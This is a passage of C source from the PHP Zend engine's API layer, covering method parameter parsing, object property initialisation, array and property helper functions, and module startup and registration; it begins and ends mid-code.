(!is_method || !this_ptr || Z_TYPE_P(this_ptr) != IS_OBJECT) { va_start(va, type_spec); retval = zend_parse_va_args(num_args, type_spec, &va, flags); va_end(va); } else { p++; va_start(va, type_spec); object = va_arg(va, zval **); ce = va_arg(va, zend_class_entry *); *object = this_ptr; if (ce && !instanceof_function(Z_OBJCE_P(this_ptr), ce)) { zend_error_noreturn(E_CORE_ERROR, "%s::%s() must be derived from %s::%s", ZSTR_VAL(Z_OBJCE_P(this_ptr)->name), get_active_function_name(), ZSTR_VAL(ce->name), get_active_function_name()); } retval = zend_parse_va_args(num_args, p, &va, flags); va_end(va); } return retval; } /* }}} */ ZEND_API int zend_parse_method_parameters_ex(int flags, int num_args, zval *this_ptr, const char *type_spec, ...) /* {{{ */ { va_list va; int retval; const char *p = type_spec; zval **object; zend_class_entry *ce; if (!this_ptr) { va_start(va, type_spec); retval = zend_parse_va_args(num_args, type_spec, &va, flags); va_end(va); } else { p++; va_start(va, type_spec); object = va_arg(va, zval **); ce = va_arg(va, zend_class_entry *); *object = this_ptr; if (ce && !instanceof_function(Z_OBJCE_P(this_ptr), ce)) { if (!(flags & ZEND_PARSE_PARAMS_QUIET)) { zend_error_noreturn(E_CORE_ERROR, "%s::%s() must be derived from %s::%s", ZSTR_VAL(ce->name), get_active_function_name(), ZSTR_VAL(Z_OBJCE_P(this_ptr)->name), get_active_function_name()); } va_end(va); return FAILURE; } retval = zend_parse_va_args(num_args, p, &va, flags); va_end(va); } return retval; } /* }}} */ /* This function should be called after the constructor has been called * because it may call __set from the uninitialized object otherwise. */ ZEND_API void zend_merge_properties(zval *obj, HashTable *properties) /* {{{ */ { zend_object *zobj = Z_OBJ_P(obj); zend_object_write_property_t write_property = zobj->handlers->write_property; zend_class_entry *old_scope = EG(fake_scope); zend_string *key; zval *value; EG(fake_scope) = Z_OBJCE_P(obj); ZEND_HASH_FOREACH_STR_KEY_VAL(properties, key, value) { if (key) { write_property(zobj, key, value, NULL); } } ZEND_HASH_FOREACH_END(); EG(fake_scope) = old_scope; } /* }}} */ ZEND_API int zend_update_class_constants(zend_class_entry *class_type) /* {{{ */ { if (!(class_type->ce_flags & ZEND_ACC_CONSTANTS_UPDATED)) { zend_class_entry *ce; zend_class_constant *c; zval *val; zend_property_info *prop_info; if (class_type->parent) { if (UNEXPECTED(zend_update_class_constants(class_type->parent) != SUCCESS)) { return FAILURE; } } ZEND_HASH_FOREACH_PTR(&class_type->constants_table, c) { val = &c->value; if (Z_TYPE_P(val) == IS_CONSTANT_AST) { if (UNEXPECTED(zval_update_constant_ex(val, c->ce) != SUCCESS)) { return FAILURE; } } } ZEND_HASH_FOREACH_END(); ce = class_type; while (ce) { ZEND_HASH_FOREACH_PTR(&ce->properties_info, prop_info) { if (prop_info->ce == ce) { if (prop_info->flags & ZEND_ACC_STATIC) { val = CE_STATIC_MEMBERS(class_type) + prop_info->offset; } else { val = (zval*)((char*)class_type->default_properties_table + prop_info->offset - OBJ_PROP_TO_OFFSET(0)); } if (Z_TYPE_P(val) == IS_CONSTANT_AST) { if (prop_info->type) { zval tmp; ZVAL_COPY(&tmp, val); if (UNEXPECTED(zval_update_constant_ex(&tmp, ce) != SUCCESS)) { return FAILURE; } /* property initializers must always be evaluated with strict types */; if (UNEXPECTED(!zend_verify_property_type(prop_info, &tmp, /* strict */ 1))) { zval_ptr_dtor(&tmp); return FAILURE; } zval_ptr_dtor(val); ZVAL_COPY_VALUE(val, &tmp); } else if (UNEXPECTED(zval_update_constant_ex(val, ce) != SUCCESS)) { return FAILURE; } } } } ZEND_HASH_FOREACH_END(); ce = ce->parent; } class_type->ce_flags |= ZEND_ACC_CONSTANTS_UPDATED; } return SUCCESS; } /* }}} */ static zend_always_inline void _object_properties_init(zend_object *object, zend_class_entry *class_type) /* {{{ */ { if (class_type->default_properties_count) { zval *src = class_type->default_properties_table; zval *dst = object->properties_table; zval *end = src + class_type->default_properties_count; if (UNEXPECTED(class_type->type == ZEND_INTERNAL_CLASS)) { do { ZVAL_COPY_OR_DUP(dst, src); src++; dst++; } while (src != end); } else { do { ZVAL_COPY(dst, src); src++; dst++; } while (src != end); } } } /* }}} */ ZEND_API void object_properties_init(zend_object *object, zend_class_entry *class_type) /* {{{ */ { object->properties = NULL; _object_properties_init(object, class_type); } /* }}} */ ZEND_API void object_properties_init_ex(zend_object *object, HashTable *properties) /* {{{ */ { object->properties = properties; if (object->ce->default_properties_count) { zval *prop; zend_string *key; zend_property_info *property_info; ZEND_HASH_FOREACH_STR_KEY_VAL(properties, key, prop) { property_info = zend_get_property_info(object->ce, key, 1); if (property_info != ZEND_WRONG_PROPERTY_INFO && property_info && (property_info->flags & ZEND_ACC_STATIC) == 0) { zval *slot = OBJ_PROP(object, property_info->offset); if (UNEXPECTED(property_info->type)) { zval tmp; ZVAL_COPY_VALUE(&tmp, prop); if (UNEXPECTED(!zend_verify_property_type(property_info, &tmp, 0))) { continue; } ZVAL_COPY_VALUE(slot, &tmp); } else { ZVAL_COPY_VALUE(slot, prop); } ZVAL_INDIRECT(prop, slot); } } ZEND_HASH_FOREACH_END(); } } /* }}} */ ZEND_API void object_properties_load(zend_object *object, HashTable *properties) /* {{{ */ { zval *prop, tmp; zend_string *key; zend_long h; zend_property_info *property_info; ZEND_HASH_FOREACH_KEY_VAL(properties, h, key, prop) { if (key) { if (ZSTR_VAL(key)[0] == '\0') { const char *class_name, *prop_name; size_t prop_name_len; if (zend_unmangle_property_name_ex(key, &class_name, &prop_name, &prop_name_len) == SUCCESS) { zend_string *pname = zend_string_init(prop_name, prop_name_len, 0); zend_class_entry *prev_scope = EG(fake_scope); if (class_name && class_name[0] != '*') { zend_string *cname = zend_string_init(class_name, strlen(class_name), 0); EG(fake_scope) = zend_lookup_class(cname); zend_string_release_ex(cname, 0); } property_info = zend_get_property_info(object->ce, pname, 1); zend_string_release_ex(pname, 0); EG(fake_scope) = prev_scope; } else { property_info = ZEND_WRONG_PROPERTY_INFO; } } else { property_info = zend_get_property_info(object->ce, key, 1); } if (property_info != ZEND_WRONG_PROPERTY_INFO && property_info && (property_info->flags & ZEND_ACC_STATIC) == 0) { zval *slot = OBJ_PROP(object, property_info->offset); zval_ptr_dtor(slot); ZVAL_COPY_VALUE(slot, prop); zval_add_ref(slot); if (object->properties) { ZVAL_INDIRECT(&tmp, slot); zend_hash_update(object->properties, key, &tmp); } } else { if (!object->properties) { rebuild_object_properties(object); } prop = zend_hash_update(object->properties, key, prop); zval_add_ref(prop); } } else { if (!object->properties) { rebuild_object_properties(object); } prop = zend_hash_index_update(object->properties, h, prop); zval_add_ref(prop); } } ZEND_HASH_FOREACH_END(); } /* }}} */ /* This function requires 'properties' to contain all props declared in the * class and all props being public. If only a subset is given or the class * has protected members then you need to merge the properties separately by * calling zend_merge_properties(). */ static zend_always_inline int _object_and_properties_init(zval *arg, zend_class_entry *class_type, HashTable *properties) /* {{{ */ { if (UNEXPECTED(class_type->ce_flags & (ZEND_ACC_INTERFACE|ZEND_ACC_TRAIT|ZEND_ACC_IMPLICIT_ABSTRACT_CLASS|ZEND_ACC_EXPLICIT_ABSTRACT_CLASS))) { if (class_type->ce_flags & ZEND_ACC_INTERFACE) { zend_throw_error(NULL, "Cannot instantiate interface %s", ZSTR_VAL(class_type->name)); } else if (class_type->ce_flags & ZEND_ACC_TRAIT) { zend_throw_error(NULL, "Cannot instantiate trait %s", ZSTR_VAL(class_type->name)); } else { zend_throw_error(NULL, "Cannot instantiate abstract class %s", ZSTR_VAL(class_type->name)); } ZVAL_NULL(arg); Z_OBJ_P(arg) = NULL; return FAILURE; } if (UNEXPECTED(!(class_type->ce_flags & ZEND_ACC_CONSTANTS_UPDATED))) { if (UNEXPECTED(zend_update_class_constants(class_type) != SUCCESS)) { ZVAL_NULL(arg); Z_OBJ_P(arg) = NULL; return FAILURE; } } if (class_type->create_object == NULL) { zend_object *obj = zend_objects_new(class_type); ZVAL_OBJ(arg, obj); if (properties) { object_properties_init_ex(obj, properties); } else { _object_properties_init(obj, class_type); } } else { ZVAL_OBJ(arg, class_type->create_object(class_type)); } return SUCCESS; } /* }}} */ ZEND_API int object_and_properties_init(zval *arg, zend_class_entry *class_type, HashTable *properties) /* {{{ */ { return _object_and_properties_init(arg, class_type, properties); } /* }}} */ ZEND_API int object_init_ex(zval *arg, zend_class_entry *class_type) /* {{{ */ { return _object_and_properties_init(arg, class_type, NULL); } /* }}} */ ZEND_API int object_init(zval *arg) /* {{{ */ { ZVAL_OBJ(arg, zend_objects_new(zend_standard_class_def)); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_long_ex(zval *arg, const char *key, size_t key_len, zend_long n) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, n); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_null_ex(zval *arg, const char *key, size_t key_len) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_bool_ex(zval *arg, const char *key, size_t key_len, int b) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, b); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_resource_ex(zval *arg, const char *key, size_t key_len, zend_resource *r) /* {{{ */ { zval tmp; ZVAL_RES(&tmp, r); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_double_ex(zval *arg, const char *key, size_t key_len, double d) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, d); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_str_ex(zval *arg, const char *key, size_t key_len, zend_string *str) /* {{{ */ { zval tmp; ZVAL_STR(&tmp, str); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_string_ex(zval *arg, const char *key, size_t key_len, const char *str) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, str); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_stringl_ex(zval *arg, const char *key, size_t key_len, const char *str, size_t length) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, str, length); zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_assoc_zval_ex(zval *arg, const char *key, size_t key_len, zval *value) /* {{{ */ { zend_symtable_str_update(Z_ARRVAL_P(arg), key, key_len, value); return SUCCESS; } /* }}} */ ZEND_API int add_index_long(zval *arg, zend_ulong index, zend_long n) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, n); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_null(zval *arg, zend_ulong index) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_bool(zval *arg, zend_ulong index, int b) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, b); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_resource(zval *arg, zend_ulong index, zend_resource *r) /* {{{ */ { zval tmp; ZVAL_RES(&tmp, r); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_double(zval *arg, zend_ulong index, double d) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, d); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_str(zval *arg, zend_ulong index, zend_string *str) /* {{{ */ { zval tmp; ZVAL_STR(&tmp, str); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_string(zval *arg, zend_ulong index, const char *str) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, str); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_index_stringl(zval *arg, zend_ulong index, const char *str, size_t length) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, str, length); zend_hash_index_update(Z_ARRVAL_P(arg), index, &tmp); return SUCCESS; } /* }}} */ ZEND_API int add_next_index_long(zval *arg, zend_long n) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, n); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_null(zval *arg) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_bool(zval *arg, int b) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, b); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_resource(zval *arg, zend_resource *r) /* {{{ */ { zval tmp; ZVAL_RES(&tmp, r); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_double(zval *arg, double d) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, d); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_str(zval *arg, zend_string *str) /* {{{ */ { zval tmp; ZVAL_STR(&tmp, str); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_string(zval *arg, const char *str) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, str); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int add_next_index_stringl(zval *arg, const char *str, size_t length) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, str, length); return zend_hash_next_index_insert(Z_ARRVAL_P(arg), &tmp) ? SUCCESS : FAILURE; } /* }}} */ ZEND_API int array_set_zval_key(HashTable *ht, zval *key, zval *value) /* {{{ */ { zval *result; switch (Z_TYPE_P(key)) { case IS_STRING: result = zend_symtable_update(ht, Z_STR_P(key), value); break; case IS_NULL: result = zend_symtable_update(ht, ZSTR_EMPTY_ALLOC(), value); break; case IS_RESOURCE: zend_error(E_NOTICE, "Resource ID#%d used as offset, casting to integer (%d)", Z_RES_HANDLE_P(key), Z_RES_HANDLE_P(key)); result = zend_hash_index_update(ht, Z_RES_HANDLE_P(key), value); break; case IS_FALSE: result = zend_hash_index_update(ht, 0, value); break; case IS_TRUE: result = zend_hash_index_update(ht, 1, value); break; case IS_LONG: result = zend_hash_index_update(ht, Z_LVAL_P(key), value); break; case IS_DOUBLE: result = zend_hash_index_update(ht, zend_dval_to_lval(Z_DVAL_P(key)), value); break; default: zend_error(E_WARNING, "Illegal offset type"); result = NULL; } if (result) { Z_TRY_ADDREF_P(result); return SUCCESS; } else { return FAILURE; } } /* }}} */ ZEND_API int add_property_long_ex(zval *arg, const char *key, size_t key_len, zend_long n) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, n); return add_property_zval_ex(arg, key, key_len, &tmp); } /* }}} */ ZEND_API int add_property_bool_ex(zval *arg, const char *key, size_t key_len, zend_long b) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, b); return add_property_zval_ex(arg, key, key_len, &tmp); } /* }}} */ ZEND_API int add_property_null_ex(zval *arg, const char *key, size_t key_len) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); return add_property_zval_ex(arg, key, key_len, &tmp); } /* }}} */ ZEND_API int add_property_resource_ex(zval *arg, const char *key, size_t key_len, zend_resource *r) /* {{{ */ { zval tmp; ZVAL_RES(&tmp, r); add_property_zval_ex(arg, key, key_len, &tmp); zval_ptr_dtor(&tmp); /* write_property will add 1 to refcount */ return SUCCESS; } /* }}} */ ZEND_API int add_property_double_ex(zval *arg, const char *key, size_t key_len, double d) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, d); return add_property_zval_ex(arg, key, key_len, &tmp); } /* }}} */ ZEND_API int add_property_str_ex(zval *arg, const char *key, size_t key_len, zend_string *str) /* {{{ */ { zval tmp; ZVAL_STR(&tmp, str); add_property_zval_ex(arg, key, key_len, &tmp); zval_ptr_dtor(&tmp); /* write_property will add 1 to refcount */ return SUCCESS; } /* }}} */ ZEND_API int add_property_string_ex(zval *arg, const char *key, size_t key_len, const char *str) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, str); add_property_zval_ex(arg, key, key_len, &tmp); zval_ptr_dtor(&tmp); /* write_property will add 1 to refcount */ return SUCCESS; } /* }}} */ ZEND_API int add_property_stringl_ex(zval *arg, const char *key, size_t key_len, const char *str, size_t length) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, str, length); add_property_zval_ex(arg, key, key_len, &tmp); zval_ptr_dtor(&tmp); /* write_property will add 1 to refcount */ return SUCCESS; } /* }}} */ ZEND_API int add_property_zval_ex(zval *arg, const char *key, size_t key_len, zval *value) /* {{{ */ { zend_string *str; str = zend_string_init(key, key_len, 0); Z_OBJ_HANDLER_P(arg, write_property)(Z_OBJ_P(arg), str, value, NULL); zend_string_release_ex(str, 0); return SUCCESS; } /* }}} */ ZEND_API int zend_startup_module_ex(zend_module_entry *module) /* {{{ */ { size_t name_len; zend_string *lcname; if (module->module_started) { return SUCCESS; } module->module_started = 1; /* Check module dependencies */ if (module->deps) { const zend_module_dep *dep = module->deps; while (dep->name) { if (dep->type == MODULE_DEP_REQUIRED) { zend_module_entry *req_mod; name_len = strlen(dep->name); lcname = zend_string_alloc(name_len, 0); zend_str_tolower_copy(ZSTR_VAL(lcname), dep->name, name_len); if ((req_mod = zend_hash_find_ptr(&module_registry, lcname)) == NULL || !req_mod->module_started) { zend_string_efree(lcname); /* TODO: Check version relationship */ zend_error(E_CORE_WARNING, "Cannot load module '%s' because required module '%s' is not loaded", module->name, dep->name); module->module_started = 0; return FAILURE; } zend_string_efree(lcname); } ++dep; } } /* Initialize module globals */ if (module->globals_size) { #ifdef ZTS ts_allocate_id(module->globals_id_ptr, module->globals_size, (ts_allocate_ctor) module->globals_ctor, (ts_allocate_dtor) module->globals_dtor); #else if (module->globals_ctor) { module->globals_ctor(module->globals_ptr); } #endif } if (module->module_startup_func) { EG(current_module) = module; if (module->module_startup_func(module->type, module->module_number)==FAILURE) { zend_error_noreturn(E_CORE_ERROR,"Unable to start %s module", module->name); EG(current_module) = NULL; return FAILURE; } EG(current_module) = NULL; } return SUCCESS; } /* }}} */ static int zend_startup_module_zval(zval *zv) /* {{{ */ { zend_module_entry *module = Z_PTR_P(zv); return (zend_startup_module_ex(module) == SUCCESS) ? ZEND_HASH_APPLY_KEEP : ZEND_HASH_APPLY_REMOVE; } /* }}} */ static void zend_sort_modules(void *base, size_t count, size_t siz, compare_func_t compare, swap_func_t swp) /* {{{ */ { Bucket *b1 = base; Bucket *b2; Bucket *end = b1 + count; Bucket tmp; zend_module_entry *m, *r; while (b1 < end) { try_again: m = (zend_module_entry*)Z_PTR(b1->val); if (!m->module_started && m->deps) { const zend_module_dep *dep = m->deps; while (dep->name) { if (dep->type == MODULE_DEP_REQUIRED || dep->type == MODULE_DEP_OPTIONAL) { b2 = b1 + 1; while (b2 < end) { r = (zend_module_entry*)Z_PTR(b2->val); if (strcasecmp(dep->name, r->name) == 0) { tmp = *b1; *b1 = *b2; *b2 = tmp; goto try_again; } b2++; } } dep++; } } b1++; } } /* }}} */ ZEND_API void zend_collect_module_handlers(void) /* {{{ */ { zend_module_entry *module; int startup_count = 0; int shutdown_count = 0; int post_deactivate_count = 0; zend_class_entry *ce; int class_count = 0; /* Collect extensions with request startup/shutdown handlers */ ZEND_HASH_FOREACH_PTR(&module_registry, module) { if (module->request_startup_func) { startup_count++; } if (module->request_shutdown_func) { shutdown_count++; } if (module->post_deactivate_func) { post_deactivate_count++; } } ZEND_HASH_FOREACH_END(); module_request_startup_handlers = (zend_module_entry**)malloc( sizeof(zend_module_entry*) * (startup_count + 1 + shutdown_count + 1 + post_deactivate_count + 1)); module_request_startup_handlers[startup_count] = NULL; module_request_shutdown_handlers = module_request_startup_handlers + startup_count + 1; module_request_shutdown_handlers[shutdown_count] = NULL; module_post_deactivate_handlers = module_request_shutdown_handlers + shutdown_count + 1; module_post_deactivate_handlers[post_deactivate_count] = NULL; startup_count = 0; ZEND_HASH_FOREACH_PTR(&module_registry, module) { if (module->request_startup_func) { module_request_startup_handlers[startup_count++] = module; } if (module->request_shutdown_func) { module_request_shutdown_handlers[--shutdown_count] = module; } if (module->post_deactivate_func) { module_post_deactivate_handlers[--post_deactivate_count] = module; } } ZEND_HASH_FOREACH_END(); /* Collect internal classes with static members */ ZEND_HASH_FOREACH_PTR(CG(class_table), ce) { if (ce->type == ZEND_INTERNAL_CLASS && ce->default_static_members_count > 0) { class_count++; } } ZEND_HASH_FOREACH_END(); class_cleanup_handlers = (zend_class_entry**)malloc( sizeof(zend_class_entry*) * (class_count + 1)); class_cleanup_handlers[class_count] = NULL; if (class_count) { ZEND_HASH_FOREACH_PTR(CG(class_table), ce) { if (ce->type == ZEND_INTERNAL_CLASS && ce->default_static_members_count > 0) { class_cleanup_handlers[--class_count] = ce; } } ZEND_HASH_FOREACH_END(); } } /* }}} */ ZEND_API int zend_startup_modules(void) /* {{{ */ { zend_hash_sort_ex(&module_registry, zend_sort_modules, NULL, 0); zend_hash_apply(&module_registry, zend_startup_module_zval); return SUCCESS; } /* }}} */ ZEND_API void zend_destroy_modules(void) /* {{{ */ { free(class_cleanup_handlers); free(module_request_startup_handlers); zend_hash_graceful_reverse_destroy(&module_registry); } /* }}} */ ZEND_API zend_module_entry* zend_register_module_ex(zend_module_entry *module) /* {{{ */ { size_t name_len; zend_string *lcname; zend_module_entry *module_ptr; if (!module) { return NULL; } #if 0 zend_printf("%s: Registering module %d\n", module->name, module->module_number); #endif /* Check module dependencies */ if (module->deps) { const zend_module_dep *dep = module->deps; while (dep->name) { if (dep->type == MODULE_DEP_CONFLICTS) { name_len = strlen(dep->name); lcname = zend_string_alloc(name_len, 0); zend_str_tolower_copy(ZSTR_VAL(lcname), dep->name, name_len); if (zend_hash_exists(&module_registry, lcname) || zend_get_extension(dep->name)) { zend_string_efree(lcname); /* TODO: Check version relationship */ zend_error(E_CORE_WARNING, "Cannot load module '%s' because conflicting module '%s' is already loaded", module->name, dep->name); return NULL; } zend_string_efree(lcname); } ++dep; } } name_len = strlen(module->name); lcname = zend_string_alloc(name_len, 1); zend_str_tolower_copy(ZSTR_VAL(lcname), module->name, name_len); lcname = zend_new_interned_string(lcname); if ((module_ptr = zend_hash_add_mem(&module_registry, lcname, module, sizeof(zend_module_entry))) == NULL) { zend_error(E_CORE_WARNING, "Module '%s' already loaded", module->name); zend_string_release_ex(lcname, 1); return NULL; } module = module_ptr; EG(current_module) = module; if (module->functions && zend_register_functions(NULL, module->functions, NULL, module->type)==FAILURE) { zend_hash_del(&module_registry, lcname); zend_string_release_ex(lcname, 1); EG(current_module) = NULL; zend_error(E_CORE_WARNING,"%s: Unable to register functions, unable to load", module->name); return NULL; } EG(current_module) = NULL; zend_string_release_ex(lcname, 1); return module; } /* }}} */ ZEND_API zend_module_entry* zend_register_internal_module(zend_module_entry *module) /* {{{ */ { module->module_number = zend_next_free_module(); module->type = MODULE_PERSISTENT; return zend_register_module_ex(module); } /* }}} */ ZEND_API void zend_check_magic_method_implementation(const zend_class_entry *ce, const zend_function *fptr, int error_type) /* {{{ */ { char lcname[16]; size_t name_len; if (ZSTR_VAL(fptr->common.function_name)[0] != '_' || ZSTR_VAL(fptr->common.function_name)[1] != '_') { return; } /* we don't care if the function name is longer, in fact lowercasing only * the beginning of the name speeds up the check process */ name_len = ZSTR_LEN(fptr->common.function_name); zend_str_tolower_copy(lcname, ZSTR_VAL(fptr->common.function_name), MIN(name_len, sizeof(lcname)-1)); lcname[sizeof(lcname)-1] = '\0'; /* zend_str_tolower_copy won't necessarily set the zero byte */ if (name_len == sizeof(ZEND_DESTRUCTOR_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_DESTRUCTOR_FUNC_NAME, sizeof(ZEND_DESTRUCTOR_FUNC_NAME) - 1) && fptr->common.num_args != 0) { zend_error(error_type, "Destructor %s::%s() cannot take arguments", ZSTR_VAL(ce->name), ZEND_DESTRUCTOR_FUNC_NAME); } else if (name_len == sizeof(ZEND_CLONE_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_CLONE_FUNC_NAME, sizeof(ZEND_CLONE_FUNC_NAME) - 1) && fptr->common.num_args != 0) { zend_error(error_type, "Method %s::%s() cannot accept any arguments", ZSTR_VAL(ce->name), ZEND_CLONE_FUNC_NAME); } else if (name_len == sizeof(ZEND_GET_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_GET_FUNC_NAME, sizeof(ZEND_GET_FUNC_NAME) - 1)) { if (fptr->common.num_args != 1) { zend_error(error_type, "Method %s::%s() must take exactly 1 argument", ZSTR_VAL(ce->name), ZEND_GET_FUNC_NAME); } else if (QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 1)) { zend_error(error_type, "Method %s::%s() cannot take arguments by reference", ZSTR_VAL(ce->name), ZEND_GET_FUNC_NAME); } } else if (name_len == sizeof(ZEND_SET_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_SET_FUNC_NAME, sizeof(ZEND_SET_FUNC_NAME) - 1)) { if (fptr->common.num_args != 2) { zend_error(error_type, "Method %s::%s() must take exactly 2 arguments", ZSTR_VAL(ce->name), ZEND_SET_FUNC_NAME); } else if (QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 1) || QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 2)) { zend_error(error_type, "Method %s::%s() cannot take arguments by reference", ZSTR_VAL(ce->name), ZEND_SET_FUNC_NAME); } } else if (name_len == sizeof(ZEND_UNSET_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_UNSET_FUNC_NAME, sizeof(ZEND_UNSET_FUNC_NAME) - 1)) { if (fptr->common.num_args != 1) { zend_error(error_type, "Method %s::%s() must take exactly 1 argument", ZSTR_VAL(ce->name), ZEND_UNSET_FUNC_NAME); } else if (QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 1)) { zend_error(error_type, "Method %s::%s() cannot take arguments by reference", ZSTR_VAL(ce->name), ZEND_UNSET_FUNC_NAME); } } else if (name_len == sizeof(ZEND_ISSET_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_ISSET_FUNC_NAME, sizeof(ZEND_ISSET_FUNC_NAME) - 1)) { if (fptr->common.num_args != 1) { zend_error(error_type, "Method %s::%s() must take exactly 1 argument", ZSTR_VAL(ce->name), ZEND_ISSET_FUNC_NAME); } else if (QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 1)) { zend_error(error_type, "Method %s::%s() cannot take arguments by reference", ZSTR_VAL(ce->name), ZEND_ISSET_FUNC_NAME); } } else if (name_len == sizeof(ZEND_CALL_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_CALL_FUNC_NAME, sizeof(ZEND_CALL_FUNC_NAME) - 1)) { if (fptr->common.num_args != 2) { zend_error(error_type, "Method %s::%s() must take exactly 2 arguments", ZSTR_VAL(ce->name), ZEND_CALL_FUNC_NAME); } else if (QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 1) || QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 2)) { zend_error(error_type, "Method %s::%s() cannot take arguments by reference", ZSTR_VAL(ce->name), ZEND_CALL_FUNC_NAME); } } else if (name_len == sizeof(ZEND_CALLSTATIC_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_CALLSTATIC_FUNC_NAME, sizeof(ZEND_CALLSTATIC_FUNC_NAME)-1) ) { if (fptr->common.num_args != 2) { zend_error(error_type, "Method %s::__callStatic() must take exactly 2 arguments", ZSTR_VAL(ce->name)); } else if (QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 1) || QUICK_ARG_SHOULD_BE_SENT_BY_REF(fptr, 2)) { zend_error(error_type, "Method %s::__callStatic() cannot take arguments by reference", ZSTR_VAL(ce->name)); } } else if (name_len == sizeof(ZEND_TOSTRING_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_TOSTRING_FUNC_NAME, sizeof(ZEND_TOSTRING_FUNC_NAME)-1) && fptr->common.num_args != 0 ) { zend_error(error_type, "Method %s::%s() cannot take arguments", ZSTR_VAL(ce->name), ZEND_TOSTRING_FUNC_NAME); } else if (name_len == sizeof(ZEND_DEBUGINFO_FUNC_NAME) - 1 && !memcmp(lcname, ZEND_DEBUGINFO_FUNC_NAME, sizeof(ZEND_DEBUGINFO_FUNC_NAME)-1) && fptr->common.num_args != 0) { zend_error(error_type, "Method %s::%s() cannot take arguments", ZSTR_VAL(ce->name), ZEND_DEBUGINFO_FUNC_NAME); } } /* }}} */ /* registers all functions in *library_functions in the function hash */ ZEND_API int zend_register_functions(zend_class_entry *scope, const zend_function_entry *functions, HashTable *function_table, int type) /* {{{ */ { const zend_function_entry *ptr = functions; zend_function function, *reg_function; zend_internal_function *internal_function = (zend_internal_function *)&function; int count=0, unload=0; HashTable *target_function_table = function_table; int error_type; zend_function *ctor = NULL, 